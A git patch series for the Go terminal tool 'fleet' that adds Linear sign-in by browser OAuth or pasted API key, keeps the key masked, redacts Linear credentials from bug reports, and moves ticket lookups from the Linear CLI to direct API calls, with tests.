"\n") + b.WriteString(DimStyle.Render(" " + r.detail)) + b.WriteString("\n") + } + } + + if d.err != nil { + b.WriteString("\n") + b.WriteString(ErrorStyle.Render(connectErrorLine(d.err))) + b.WriteString("\n") + } + + b.WriteString("\n") + b.WriteString(DimStyle.Render(d.footer())) + + dialogWidth := clampInt(d.width-4, 40, 68) + box := DialogStyle.Width(dialogWidth).Render(b.String()) + return lipgloss.Place(d.width, d.height, lipgloss.Center, lipgloss.Center, box) +} + +func (d *ConnectLinearDialog) footer() string { + switch d.stage { + case connectDone: + return "d: disconnect • esc: close" + case connectWorking: + return "esc: cancel" + case connectPasting: + return "enter: connect • esc: back" + } + return "↑↓: choose • enter: select • esc: cancel" +} + +// connectErrorLine turns a failure into something a user can act on. +// +// Each branch names the next move, because every one of these has a different +// fix and "couldn't connect" would send all of them to the same dead end. +func connectErrorLine(err error) string { + switch { + case err == nil: + return "" + case strings.Contains(err.Error(), "unavailable here"): + return "No browser available — paste an API key instead." + } + return err.Error() +} diff --git a/internal/ui/connect_linear_test.go b/internal/ui/connect_linear_test.go new file mode 100644 index 00000000..2619b9f8 --- /dev/null +++ b/internal/ui/connect_linear_test.go @@ -0,0 +1,185 @@ +package ui + +import ( + "strings" + "testing" + + tea "charm.land/bubbletea/v2" + + "github.com/brizzai/fleet/internal/git" + "github.com/brizzai/fleet/internal/linear" +) + +func connectDialog(t *testing.T) *ConnectLinearDialog { + t.Helper() + d := NewConnectLinearDialog() + d.SetSize(120, 40) + d.stage = connectChoosing + d.visible = true + d.setFocus(connectRowBrowser) + return d +} + +func press(d *ConnectLinearDialog, key string) *ConnectLinearDialog { + out, _ := d.Update(tea.KeyPressMsg{Code: keyCodeFor(key), Text: key}) + return out +} + +// keyCodeFor maps the handful of keys these tests send. Named keys carry no +// Text, which is exactly how the dialog distinguishes them. +func keyCodeFor(key string) rune { + switch key { + case "down": + return tea.KeyDown + case "up": + return tea.KeyUp + case "enter": + return tea.KeyEnter + case "esc": + return tea.KeyEscape + } + return rune(key[0]) +} + +// TestConnectCaretAndHighlightNeverCoexist pins the focus rule this dialog +// shares with the snooze and worktree dialogs: exactly one thing is highlighted, +// and the caret lives with it. A ▸ on a method row while a caret blinks in the +// key field would mean the dialog has stopped saying what Enter does. +func TestConnectCaretAndHighlightNeverCoexist(t *testing.T) { + d := connectDialog(t) + if d.input.Focused() { + t.Error("the key field must not hold the caret while the method rows own the highlight") + } + + d = press(d, "down") + if d.focus != connectRowPaste { + t.Fatalf("focus = %d, want the paste row", d.focus) + } + if d.input.Focused() { + t.Error("moving the highlight must not focus the field — the field is a later stage") + } + + d = press(d, "enter") + if d.stage != connectPasting { + t.Fatalf("stage = %v, want connectPasting", d.stage) + } + if !d.input.Focused() { + t.Error("once the field is the stage, it must own the caret") + } + + // esc walks back a stage rather than closing, so a mistyped choice costs one + // key, not the whole dialog. + d = press(d, "esc") + if d.stage != connectChoosing { + t.Errorf("esc from the field should return to the chooser, got stage %v", d.stage) + } + if d.input.Focused() { + t.Error("returning to the chooser must take the caret back out of the field") + } + if !d.IsVisible() { + t.Error("esc from the field must not close the dialog") + } +} + +// TestConnectKeyIsNeverEchoed pins that the pasted credential is masked. It +// reaches a terminal others can see, and it is exactly the sort of thing that +// ends up in a screenshot attached to a bug report. +func TestConnectKeyIsNeverEchoed(t *testing.T) { + const secret = "lin_api_SuperSecretValue123" + d := connectDialog(t) + d.stage = connectPasting + d.input.Focus() + d.input.SetValue(secret) + + if got := d.View(); strings.Contains(got, secret) { + t.Fatalf("the dialog rendered the key in plain text:\n%s", got) + } + if d.input.Value() != secret { + t.Error("masking must not damage the value that gets submitted") + } +} + +// TestConnectRefusesEmptyKey: submitting nothing must say so rather than firing +// a round trip that comes back as a generic rejection. +func TestConnectRefusesEmptyKey(t *testing.T) { + d := connectDialog(t) + d.stage = connectPasting + d.input.Focus() + + d, cmd := d.Update(tea.KeyPressMsg{Code: tea.KeyEnter}) + if cmd != nil { + t.Error("an empty field must not start a verification round trip") + } + if d.err == nil { + t.Error("an empty field must explain itself") + } + if d.stage != connectPasting { + t.Error("an empty submit must leave you in the field you were typing into") + } +} + +// TestTicketTipStaysQuietUntilTheLookupFinishes covers the startup race. +// +// Available() answers false before the credential lookup has run, so a tip that +// keyed only on it would offer to connect Linear to a user who is already +// connected — for the first moments of every launch, on every ticket branch. +func TestTicketTipStaysQuietUntilTheLookupFinishes(t *testing.T) { + h := &Home{} + h.writeGitInfo(func(m map[string]*git.RepoInfo) bool { + m["/repo"] = &git.RepoInfo{Branch: "brz-3182-fix-the-thing"} + return true + }) + if h.anyTicketShapedBranch() { + t.Error("the tip must stay quiet until the credential lookup has resolved") + } +} + +// TestTicketShapedBranchMatchesRealBranches pins the looser pattern the tip +// uses. It is deliberately not the team-gated matcher — nobody has configured a +// team at the moment this tip should fire. +func TestTicketShapedBranchMatchesRealBranches(t *testing.T) { + yes := []string{ + "brz-3182-magic-fix", "BRZ-3182", "alice/brz-1594-x", "eng-42", "prd-7-spec", + } + no := []string{ + "master", "main", "kinshasa", "frosty-mahavira", "release-2024-cleanup", + "feature/add-the-thing", "brzctl-gcp-project-default", + } + for _, b := range yes { + if !ticketShapedBranch.MatchString(b) { + t.Errorf("%q should read as ticket work", b) + } + } + for _, b := range no { + if ticketShapedBranch.MatchString(b) { + t.Errorf("%q must not read as ticket work — the tip would nag on ordinary branches", b) + } + } +} + +// TestConnectWithoutOAuthAppFallsBackToPaste covers the state every build is in +// until an OAuth application is registered, and any fork is in permanently. +// +// Choosing browser sign-in with no client ID must say so and move the highlight +// onto the path that does work, rather than opening a browser at an authorize +// URL with an empty client_id and letting Linear produce the error. +func TestConnectWithoutOAuthAppFallsBackToPaste(t *testing.T) { + if linear.OAuthConfigured() { + t.Skip("this build carries an OAuth client ID") + } + d := connectDialog(t) + + d, cmd := d.Update(tea.KeyPressMsg{Code: tea.KeyEnter}) + if cmd != nil { + t.Error("with no OAuth app registered, choosing browser sign-in must not start anything") + } + if d.err == nil { + t.Fatal("it must say why") + } + if d.focus != connectRowPaste { + t.Error("the highlight must land on the path that actually works") + } + if d.stage != connectChoosing { + t.Errorf("stage = %v, want to stay on the chooser", d.stage) + } +} diff --git a/internal/ui/statusreport.go b/internal/ui/statusreport.go index b7638a05..1042e6a0 100644 --- a/internal/ui/statusreport.go +++ b/internal/ui/statusreport.go @@ -360,6 +360,10 @@ func (d *BugReportDialog) viewStatusForm() string { // the boundary leaves fragments shorter than Redact's 16-character floor and // files verbatim. Widening costs nothing — the loose pattern still only // matches strings beginning `sk-ant-`, so ordinary prose is untouched. +// - Linear credentials. A pasted API key can reach a pane excerpt the same way +// an Anthropic one can, and fleet now holds one of its own — so it gets the +// same treatment at the same chokepoint rather than a promise that it will +// never appear. // - Email addresses, local part and domain both. The multi-account work put // account emails into config.json (default_account, allowed_accounts) and // into the debug log on every launch and poll, and both blocks are published @@ -372,6 +376,7 @@ func (d *BugReportDialog) viewStatusForm() string { // compare. func sanitizeForIssue(s string) string { s = claudeaccount.RedactCaptured(s) + s = linearKeyPattern.ReplaceAllString(s, "") s = emailPattern.ReplaceAllString(s, "") home, err := os.UserHomeDir() if err != nil || home == "" { @@ -385,6 +390,14 @@ func sanitizeForIssue(s string) string { // the safe error in a redactor. var emailPattern = regexp.MustCompile(`[\w.+-]+@[\w-]+\.[\w.-]+`) +// linearKeyPattern matches Linear's credential prefixes: lin_api_ for a personal +// API key and lin_oauth_ for an access or refresh token. Deliberately loose on +// length for the same reason RedactCaptured is — the biggest thing published +// through here is a wrapped pane excerpt, where a credential split at the line +// boundary leaves a short fragment that a minimum-length rule would file +// verbatim. Nothing in ordinary prose starts with these prefixes. +var linearKeyPattern = regexp.MustCompile(`lin_(?:api|oauth)_[A-Za-z0-9_-]+`) + // shortSessionID trims an agent session id to its leading block for the issue // table. The only question asked of these ids is whether the one on disk is the // one fleet latched onto, and 8 hex chars settle that without pasting two full diff --git a/internal/ui/statusreport_test.go b/internal/ui/statusreport_test.go index c4914055..cdef762a 100644 --- a/internal/ui/statusreport_test.go +++ b/internal/ui/statusreport_test.go @@ -105,6 +105,30 @@ func TestBuildStatusReportBody_NeverLeaksAccountToken(t *testing.T) { } } +// TestBuildStatusReportBody_NeverLeaksLinearKey is the same guard for the +// credential fleet holds for Linear. It is not hypothetical: the Connect dialog +// asks the user to paste one, so it can land in a pane excerpt, and the debug +// log is published wholesale when the content checkbox is on. +func TestBuildStatusReportBody_NeverLeaksLinearKey(t *testing.T) { + const apiKey = "lin_api_AbCdEf0123456789GhIjKlMnOpQrStUvWx" + const oauth = "lin_oauth_9876543210ZyXwVuTsRqPoNmLkJiHgFe" + + f := statusFormFixture() + f.snap.paneClean = "❯ paste your key:\n" + apiKey + "\n" + f.snap.debugTail = "time=... msg=\"linear connect\" token=" + oauth + r := &diagnostics.Report{Version: "v2.22.0", OS: "darwin", Arch: "arm64"} + + for _, includeContent := range []bool{true, false} { + f.includeContent = includeContent + body := buildStatusReportBody("linear never connects", session.StatusWaiting, f, r) + for _, secret := range []string{apiKey, oauth} { + if strings.Contains(body, secret) { + t.Fatalf("issue body leaked a Linear credential (includeContent=%v):\n%s", includeContent, body) + } + } + } +} + func TestBuildStatusReportBody_AlwaysCarriesSignals(t *testing.T) { f := statusFormFixture() f.includeContent = false diff --git a/internal/ui/ticket.go b/internal/ui/ticket.go index 87dcb9aa..164f5eea 100644 --- a/internal/ui/ticket.go +++ b/internal/ui/ticket.go @@ -17,7 +17,7 @@ import ( // ticketMaterializeBudget bounds the whole fetch-and-write step when it runs on // the session-creation path, where a human is waiting for a pane to appear. // Generous enough for a ticket with a dozen screenshots on a slow link, short -// enough that a wedged CLI doesn't feel like a hang: the session starts either +// enough that a wedged request doesn't feel like a hang: the session starts either // way, and past this the prompt simply isn't seeded. const ticketMaterializeBudget = 25 * time.Second @@ -37,7 +37,7 @@ type ticketReadyMsg struct { // it never fails its caller. A nil result means no prompt gets seeded, which is // the honest outcome, because a prompt pointing at files that were never // written is worse than no prompt. -func materializeTicket(repoPath, worktreePath string, t *linear.Ticket, moveState bool) (*linear.Result, error) { +func materializeTicket(worktreePath string, t *linear.Ticket, moveState bool) (*linear.Result, error) { if t == nil || !t.Ok() { return nil, nil } @@ -45,10 +45,8 @@ func materializeTicket(repoPath, worktreePath string, t *linear.Ticket, moveStat defer cancel() res, err := linear.Materialize(ctx, linear.Opts{ - RepoDir: repoPath, WorktreePath: worktreePath, Identifier: t.Identifier, - Ticket: *t, MoveState: moveState, }) if err != nil { @@ -65,7 +63,7 @@ func materializeTicket(repoPath, worktreePath string, t *linear.Ticket, moveStat // comes from the git cache the worker already maintains, the identifier is a // regex, and the reuse check is one ReadDir plus one ReadFile. That last check // is the steady state — every session after the first in a ticket worktree hits -// it, with no subprocess and no network. +// it, with no network at all. // // Returns (prompt, nil) for the fast path, ("", cmd) when a fetch is needed, and // ("", nil) when there is nothing to do. @@ -78,11 +76,11 @@ func (h *Home) ticketPromptFor(msg sessionCreateMsg) (string, tea.Cmd) { } repoRoot := session.GetRepoRoot(msg.path) - // The .linear.toml gate is what keeps false positives free: a branch named - // fix-123 in a repo that doesn't use Linear never costs a subprocess. - teamKey, connected := linear.TeamKey(msg.path) - if !connected { - if teamKey, connected = linear.TeamKey(repoRoot); !connected { + // The per-repo team gate is what keeps false positives free: a branch named + // fix-123 in a repo that tracks no Linear team never costs a round trip. + teamKeys := linear.TeamKeys(msg.path) + if len(teamKeys) == 0 { + if teamKeys = linear.TeamKeys(repoRoot); len(teamKeys) == 0 { return "", nil } } @@ -91,11 +89,11 @@ func (h *Home) ticketPromptFor(msg sessionCreateMsg) (string, tea.Cmd) { if info, ok := h.gitInfo()[repoRoot]; ok && info != nil { branch = info.Branch } - id := linear.IdentifierFromBranch(branch, teamKey) + id := linear.IdentifierFromBranch(branch, teamKeys) if id == "" { // A worktree fleet made is named -, so the directory // still carries the identifier when the git cache is cold. - id = linear.IdentifierFromBranch(pathTailAfterRepo(msg.path), teamKey) + id = linear.IdentifierFromBranch(pathTailAfterRepo(msg.path), teamKeys) } if id == "" || linear.NegativelyPinned(msg.path, id) { return "", nil @@ -111,7 +109,6 @@ func (h *Home) ticketPromptFor(msg sessionCreateMsg) (string, tea.Cmd) { // session in a worktree that already exists is not, and by then a human // may have moved the issue on. res, err := linear.Materialize(ctx, linear.Opts{ - RepoDir: path, WorktreePath: path, Identifier: id, MoveState: false, @@ -138,7 +135,10 @@ func pathTailAfterRepo(path string) string { func ticketStatusLine(res *linear.Result, err error) string { switch { case err != nil: - if errors.Is(err, linear.ErrNotFound) || errors.Is(err, linear.ErrNotInstalled) { + // Both are resting states, not failures: a branch that names no real + // issue, and a fleet that was never connected to Linear. Neither is + // worth a line on the session the user just started. + if errors.Is(err, linear.ErrNotFound) || errors.Is(err, linear.ErrNotConnected) { return "" } return fmt.Sprintf("Linear: %v — starting without the ticket", err) @@ -147,10 +147,7 @@ func ticketStatusLine(res *linear.Result, err error) string { } line := fmt.Sprintf("%s materialized", res.Identifier) - switch { - case res.Images > 0 && res.UsedFallback: - line += fmt.Sprintf(" with %d image(s) — fetched directly, your `linear` CLI is too old to download them", res.Images) - case res.Images > 0: + if res.Images > 0 { line += fmt.Sprintf(" with %d image(s)", res.Images) } if res.StateMoved != "" { diff --git a/internal/ui/tips.go b/internal/ui/tips.go index 1cd46658..b863c74d 100644 --- a/internal/ui/tips.go +++ b/internal/ui/tips.go @@ -2,9 +2,11 @@ package ui import ( "fmt" + "regexp" "time" "github.com/brizzai/fleet/internal/debuglog" + "github.com/brizzai/fleet/internal/linear" "github.com/brizzai/fleet/internal/session" ) @@ -46,6 +48,7 @@ const ( tipTCCBlockedID = "tcc_blocked_folder" tipSessionsSuspendedID = "sessions_suspended" tipAgentSkillID = "agent_skill" + tipConnectLinearID = "connect_linear" reloadFailedThreshold = 4 cmdPaletteMinSessions = 3 @@ -110,6 +113,22 @@ var tipRegistry = []Tip{ "to drive fleet themselves, so an agent can spin up a worktree session or message another one." }, }, + { + // Fires only for someone who is demonstrably working from tickets: a + // branch shaped like an identifier, and no Linear credential. That is a + // far better trigger than "has sessions", because it never appears for + // anyone the feature would not help — and it appears at the exact + // moment it would have helped. + ID: tipConnectLinearID, + Policy: tipOnce, + Priority: 11, + LearnedKey: tipConnectLinearID, + active: func(h *Home) bool { return h.anyTicketShapedBranch() }, + text: func(h *Home) string { + return "That branch looks like a ticket. `Ctrl+K` → \"Connect Linear\" and fleet will pull the " + + "ticket and its screenshots into the worktree, and open the agent already told to read them." + }, + }, { ID: tipCmdPaletteID, Policy: tipOnce, @@ -298,3 +317,33 @@ func renderTip(body string, maxWidth int) string { } return renderHintBox("✦", ColorAccent, body, "shift+X to dismiss", width) } + +// ticketShapedBranch matches the generic - shape shared by Linear +// and Jira. +// +// Deliberately NOT linear.IdentifierFromBranch: that one is gated on the repo's +// configured team keys, which by definition nobody has yet at the moment this +// tip should fire. The looser pattern is safe here precisely because the tip +// only offers — it never fetches anything, so a false positive on a branch like +// `fix-123` costs one dismissible hint rather than a wrong ticket. +var ticketShapedBranch = regexp.MustCompile(`(?i)(^|/)[a-z]{2,6}-\d{1,6}($|[-_/])`) + +// anyTicketShapedBranch reports whether any session sits on a branch that looks +// like ticket work while fleet has no Linear credential. +// +// Reads the git cache the worker already maintains, so it costs nothing on the +// ~2s tick that evaluates tips. +func (h *Home) anyTicketShapedBranch() bool { + // Resolved before Available: until the startup lookup finishes, "no + // credential" is ignorance rather than a fact, and offering to connect a + // fleet that is already connected is the one thing this tip must not do. + if !linear.Resolved() || linear.Available() { + return false + } + for _, info := range h.gitInfo() { + if info != nil && ticketShapedBranch.MatchString(info.Branch) { + return true + } + } + return false +} diff --git a/internal/ui/workspace_picker.go b/internal/ui/workspace_picker.go index 077b0f3c..8caf7f87 100644 --- a/internal/ui/workspace_picker.go +++ b/internal/ui/workspace_picker.go @@ -21,11 +21,11 @@ type ( repoPath string defaultBranch string originKey string // origin of repoPath (native provider); seeds gitInfoCache so the phantom groups correctly - // linearTeam is the team key from the repo's .linear.toml, resolved - // off-loop alongside the worktree list. Empty means the repo isn't - // Linear-connected and every ticket surface below stays inert. - linearTeam string - err error + // linearTeams are the team keys this repo tracks, resolved off-loop + // alongside the worktree list. Empty means the repo tracks no Linear + // team and every ticket surface below stays inert. + linearTeams []string + err error } workspaceSelectedMsg struct { info workspace.WorkspaceInfo @@ -79,10 +79,10 @@ type WorktreeDialog struct { // --- Linear ticket suggestions under the New branch field --- - // linearTeam is the team key from .linear.toml. Empty means the whole + // linearTeams are the team keys this repo tracks. Empty means the whole // feature is inert: no lookups, no rows, no footer changes, and the dialog // renders exactly as it did before any of this existed. - linearTeam string + linearTeams []string // ticketCursor is the second coordinate of the highlight while focus is // focusNewBranch: ticketOnInput is the field, 0..n-1 is a row. Forced back @@ -127,7 +127,7 @@ func NewWorktreeDialog() *WorktreeDialog { } // Show populates and shows the dialog. -func (d *WorktreeDialog) Show(workspaces []workspace.WorkspaceInfo, sessions []*session.Session, provider workspace.Provider, repoPath, defaultBranch, linearTeam string) { +func (d *WorktreeDialog) Show(workspaces []workspace.WorkspaceInfo, sessions []*session.Session, provider workspace.Provider, repoPath, defaultBranch string, linearTeams []string) { d.visible = true d.workspaces = workspaces d.provider = provider @@ -139,7 +139,7 @@ func (d *WorktreeDialog) Show(workspaces []workspace.WorkspaceInfo, sessions []* d.baseBranchInput.SetValue(defaultBranch) d.newBranchInput.SetValue("") - d.linearTeam = linearTeam + d.linearTeams = linearTeams d.tickets = nil d.resolved = nil d.lastInput = "" @@ -402,12 +402,12 @@ func (d *WorktreeDialog) View() string { b.WriteString(d.baseBranchInput.View()) b.WriteString("\n\n") - // New branch input. The team key beside the label is the whole - // configuration disclosure, three characters: this repo is Linear-connected - // and that is its team. + // New branch input. The team keys beside the label are the whole + // configuration disclosure, a few characters: this repo tracks Linear and + // these are its teams. b.WriteString(DimStyle.Render("New branch:")) - if d.linearTeam != "" { - b.WriteString(DimStyle.Render(" " + d.linearTeam)) + if len(d.linearTeams) > 0 { + b.WriteString(DimStyle.Render(" " + strings.Join(d.linearTeams, " "))) } b.WriteString("\n") b.WriteString(d.newBranchInput.View()) diff --git a/internal/ui/workspace_picker_ticket.go b/internal/ui/workspace_picker_ticket.go index f1ace5c5..98821699 100644 --- a/internal/ui/workspace_picker_ticket.go +++ b/internal/ui/workspace_picker_ticket.go @@ -15,7 +15,7 @@ import ( // ticketDebounce is how long the field must be still before a lookup fires. // -// Not per-keystroke: `linear issue view` is a ~0.5s subprocess, so typing an +// Not per-keystroke: each lookup is a network round trip, so typing an // 8-character identifier at normal speed would fork eight of them and their // replies would land out of order. 250ms is below the threshold where a pause // feels deliberate, and the generation counter cleans up the rest. @@ -46,7 +46,7 @@ type ( // ticketsEnabled reports whether any ticket surface should exist at all. func (d *WorktreeDialog) ticketsEnabled() bool { - return d.linearTeam != "" && !d.ticketsOff + return len(d.linearTeams) > 0 && !d.ticketsOff } // visibleTicketCount is how many rows are actually rendered, which is what the @@ -85,7 +85,7 @@ func (d *WorktreeDialog) onFieldChanged(text string) tea.Cmd { }) } -// onDebounceElapsed decides whether the pause earns a subprocess. +// onDebounceElapsed decides whether the pause earns a round trip. func (d *WorktreeDialog) onDebounceElapsed(m worktreeTicketTickMsg) tea.Cmd { if !d.visible || m.gen != d.ticketGen || !d.ticketsEnabled() { return nil @@ -96,11 +96,10 @@ func (d *WorktreeDialog) onDebounceElapsed(m worktreeTicketTickMsg) tea.Cmd { return nil } - repoPath := d.repoPath - team := d.linearTeam + teams := d.linearTeams gen := m.gen - if id, ok := linear.LooksLikeIdentifier(text, team); ok { + if id, ok := linear.LooksLikeIdentifier(text, teams); ok { if d.resolved != nil && strings.EqualFold(d.resolved.Identifier, id) { return nil // already resolved; don't refire on a redraw } @@ -108,7 +107,7 @@ func (d *WorktreeDialog) onDebounceElapsed(m worktreeTicketTickMsg) tea.Cmd { return func() tea.Msg { ctx, cancel := context.WithTimeout(context.Background(), ticketLookupTimeout) defer cancel() - t, err := linear.Fetch(ctx, repoPath, id) + t, err := linear.Fetch(ctx, id) return worktreeTicketsMsg{gen: gen, query: text, byID: true, tickets: []linear.Ticket{t}, err: err} } } @@ -120,7 +119,7 @@ func (d *WorktreeDialog) onDebounceElapsed(m worktreeTicketTickMsg) tea.Cmd { return func() tea.Msg { ctx, cancel := context.WithTimeout(context.Background(), ticketLookupTimeout) defer cancel() - items, err := linear.Search(ctx, repoPath, team, text, ticketMaxRows) + items, err := linear.Search(ctx, text, ticketMaxRows) return worktreeTicketsMsg{gen: gen, query: text, tickets: items, err: err} } } @@ -146,10 +145,11 @@ func (d *WorktreeDialog) applyTickets(m worktreeTicketsMsg) { if m.byID { d.ticketNote = m.query + " — no such issue" } - case errors.Is(m.err, linear.ErrNotConfigured), errors.Is(m.err, linear.ErrNotAuthenticated): - d.ticketNote = "linear: not authenticated — run `linear auth login`" - d.ticketsOff = true // it will keep failing; stop forking subprocesses - case errors.Is(m.err, linear.ErrNotInstalled): + case errors.Is(m.err, linear.ErrNotAuthenticated): + d.ticketNote = "linear: credential rejected — Ctrl+K → Connect Linear" + d.ticketsOff = true // it will keep failing; stop spending round trips + case errors.Is(m.err, linear.ErrNotConnected): + // Never connected is a resting state, not a complaint. Go quiet. d.ticketsOff = true case errors.Is(m.err, context.DeadlineExceeded): d.ticketNote = "linear: timed out" diff --git a/internal/ui/workspace_picker_ticket_test.go b/internal/ui/workspace_picker_ticket_test.go index 2e85af35..ba381ce1 100644 --- a/internal/ui/workspace_picker_ticket_test.go +++ b/internal/ui/workspace_picker_ticket_test.go @@ -16,7 +16,7 @@ func ticketDialog(t *testing.T, tickets ...linear.Ticket) *WorktreeDialog { t.Helper() d := NewWorktreeDialog() d.SetSize(120, 40) - d.Show(nil, nil, nil, "/repo", "master", "BRZ") + d.Show(nil, nil, nil, "/repo", "master", []string{"BRZ"}) d.tickets = tickets return d } @@ -244,7 +244,7 @@ func TestWorktreeEnterAlwaysCreates(t *testing.T) { name string setup func(*WorktreeDialog) }{ - {"no linear at all", func(d *WorktreeDialog) { d.linearTeam = "" }}, + {"no linear at all", func(d *WorktreeDialog) { d.linearTeams = nil }}, {"latched off", func(d *WorktreeDialog) { d.ticketsOff = true }}, {"lookup in flight", func(d *WorktreeDialog) { d.ticketPending = true }}, {"error note showing", func(d *WorktreeDialog) { d.ticketNote = "linear: timed out" }}, @@ -301,17 +301,17 @@ func TestWorktreeTicketDropsWhenFieldEditedAway(t *testing.T) { // TestWorktreeBlankRenderUnchangedWithoutLinear: a user with no Linear must not // be able to tell this feature shipped. func TestWorktreeBlankRenderUnchangedWithoutLinear(t *testing.T) { - mk := func(team string) string { + mk := func(teams []string) string { d := NewWorktreeDialog() d.SetSize(120, 40) - d.Show(nil, nil, nil, "/repo", "master", team) + d.Show(nil, nil, nil, "/repo", "master", teams) d.newBranchInput.SetValue("my-experiment") return d.View() } - if mk("") == "" { + if mk(nil) == "" { t.Fatal("empty render") } - plain := mk("") + plain := mk(nil) if strings.Contains(plain, "BRZ") || strings.Contains(plain, "ticket") { t.Errorf("a repo with no .linear.toml shows Linear chrome:\n%s", plain) } diff --git a/internal/workspace/repo_config.go b/internal/workspace/repo_config.go index 9134f330..407cde20 100644 --- a/internal/workspace/repo_config.go +++ b/internal/workspace/repo_config.go @@ -5,6 +5,7 @@ import ( "os" "path" "path/filepath" + "strings" "github.com/brizzai/fleet/internal/debuglog" ) @@ -14,6 +15,7 @@ type RepoWorkspaceConfig struct { Workspace ShellConfig `json:"workspace"` PRChecks PRChecksConfig `json:"pr_checks"` CopyFiles CopyFilesConfig `json:"copy_files"` + Linear LinearConfig `json:"linear"` } // ShellConfig holds shell command configuration for workspace operations. @@ -38,6 +40,21 @@ type CopyFilesConfig struct { Paths []string `json:"paths,omitempty"` } +// LinearConfig names the Linear team(s) whose issues this repo tracks. +// +// Its presence is what turns the ticket features on for a repo: without it (and +// without a .linear.toml) a repo behaves exactly as it did before Linear +// existed, which is the property that lets a connected user keep unrelated +// repos quiet. Team is the common single-team form; Teams is for a repo that +// genuinely spans several. Both merge additively. +// +// .fleet.local.json is usually the better home for it — account policy and team +// membership are personal, and .fleet.json is committed. +type LinearConfig struct { + Team string `json:"team,omitempty"` + Teams []string `json:"teams,omitempty"` +} + // loadMergedRepoConfig resolves .fleet.json / .fleet.local.json (with legacy // .bc.json / .bc.local.json fallback) and returns the merged config. Workspace // fields are merged field-by-field (local overrides base); PRChecks.Ignore is @@ -60,6 +77,11 @@ func loadMergedRepoConfig(repoPath string) RepoWorkspaceConfig { merged.PRChecks.Ignore = dedupeStrings(append(base.PRChecks.Ignore, local.PRChecks.Ignore...)) merged.CopyFiles.Paths = dedupeStrings(append(base.CopyFiles.Paths, local.CopyFiles.Paths...)) + + if local.Linear.Team != "" { + merged.Linear.Team = local.Linear.Team + } + merged.Linear.Teams = dedupeStrings(append(base.Linear.Teams, local.Linear.Teams...)) return merged } @@ -93,6 +115,22 @@ func CopyFilesPatterns(repoPath string) []string { return loadMergedRepoConfig(repoPath).CopyFiles.Paths } +// LinearTeamKeys returns the merged, upper-cased Linear team keys for a repo, +// or nil when the repo names none. Nil means "this repo is not Linear-tracked", +// which every ticket surface treats as off. +func LinearTeamKeys(repoPath string) []string { + cfg := loadMergedRepoConfig(repoPath).Linear + var out []string + if cfg.Team != "" { + out = append(out, cfg.Team) + } + out = append(out, cfg.Teams...) + for i, k := range out { + out[i] = strings.ToUpper(strings.TrimSpace(k)) + } + return dedupeStrings(out) +} + // ResolveProvider loads workspace config from repoPath. Preference is by file // presence, not contents: if .fleet.json exists it wins (even when empty — // that's how a user disables a stale legacy .bc.json without deleting it); From b1b20a8053169f591cbd8f4dd758457f72333f36 Mon Sep 17 00:00:00 2001 From: Yuval Hayke Date: Tue, 18 Aug 2026 16:35:47 +0300 Subject: [PATCH 04/23] feat(linear): enable browser sign-in MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Registers fleet's OAuth application and embeds its client ID, so Ctrl+K → "Connect Linear" → "Sign in with Linear" now works instead of routing to the paste path. The app lives in a Linear workspace created solely to own it, rather than in a company workspace: it is fleet's infrastructure, shipped to every user, and an admin revoking it there would break sign-in for everyone at once. That is also Linear's own documented recommendation. The client ID is public and safe to embed — PKCE means there is no client secret, and the registered redirect URIs are what actually constrain the grant. The three loopback ports here mirror that registration exactly. Verified end to end against the live API: the authorize URL carries an S256 challenge and state, the callback is accepted, the token exchange succeeds with the verifier and no secret, and the resulting credential comes back as kind=oauth with a refresh token and a 24h expiry — then makes a real authenticated GraphQL call. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01WBQUYTfR7kzUjgozd58mr6 --- internal/linear/oauth.go | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/internal/linear/oauth.go b/internal/linear/oauth.go index 91e38618..de9abc0e 100644 --- a/internal/linear/oauth.go +++ b/internal/linear/oauth.go @@ -38,7 +38,12 @@ const oauthScopes = "read,write" // setup can point at its own registration. var clientID = defaultClientID -const defaultClientID = "" +// Registered in the Linear workspace `fleet` (linear.app/brizz-fleet), which +// exists only to own this application. A dedicated workspace is Linear's own +// recommendation and it keeps the registration out of any company workspace, +// where an admin could revoke it and break browser sign-in for every fleet user +// at once. +const defaultClientID = "209efefc234aea3e928525f6d7ba73ee" // callbackPorts are the loopback ports fleet will listen on, in order. // @@ -47,6 +52,10 @@ const defaultClientID = "" // them, because a developer machine running a dozen services will occasionally // have one taken, and losing the whole sign-in to a port collision would be a // silly way to fail. +// +// These EXACTLY mirror the redirect URIs registered on the application. Changing +// this list without updating the registration breaks sign-in with an error that +// comes from Linear and says nothing about ports. var callbackPorts = []int{53682, 53683, 53684} const callbackPath = "/oauth/callback" From 185be115d28d2b566858331f74175d4ea4bcbfa9 Mon Sep 17 00:00:00 2001 From: Yuval Hayke Date: Tue, 18 Aug 2026 16:41:41 +0300 Subject: [PATCH 05/23] fix(linear): store the credential when a terminal is attached MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Connecting failed with "keychain write failed: signal: killed", and `security`'s own prompt painted over the TUI. `security ... -w` implements an interactive prompt. When a controlling terminal exists it opens /dev/tty and reads the password from there, ignoring the stdin we piped it — so inside the TUI it blocked until the context killed it at 5s, stored nothing, and drew "password data for new item:" across fleet's screen. runQuiet now sets Setsid, which leaves the child without a controlling terminal, so /dev/tty cannot be opened and it falls back to stdin. Write goes from a 5s kill to ~34ms. This reproduces only under a real tty, which is exactly why it shipped: the original check ran from a pipe-only shell, where the same code passes while the app is broken. The regression test therefore allocates a PTY and re-execs itself under it, and asserts both halves — that the write completes far inside the deadline, and that no prompt reaches the terminal. Removing Setsid fails it with the original error. Second fix, same report: a persistence failure was rendered as a connect failure. SetCredential makes the credential live before storing it, so a refused keychain costs the next launch, not this one; the dialog now says connected, names what was actually lost, and points at LINEAR_API_KEY as the way out that needs no keychain. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01WBQUYTfR7kzUjgozd58mr6 --- internal/linear/store.go | 33 ++++++++-- internal/linear/store_pty_test.go | 97 ++++++++++++++++++++++++++++++ internal/ui/connect_linear.go | 47 ++++++++++----- internal/ui/connect_linear_test.go | 37 ++++++++++++ 4 files changed, 193 insertions(+), 21 deletions(-) create mode 100644 internal/linear/store_pty_test.go diff --git a/internal/linear/store.go b/internal/linear/store.go index 87d913b3..b9d9e98d 100644 --- a/internal/linear/store.go +++ b/internal/linear/store.go @@ -9,6 +9,7 @@ import ( "os/exec" "path/filepath" "runtime" + "syscall" "time" ) 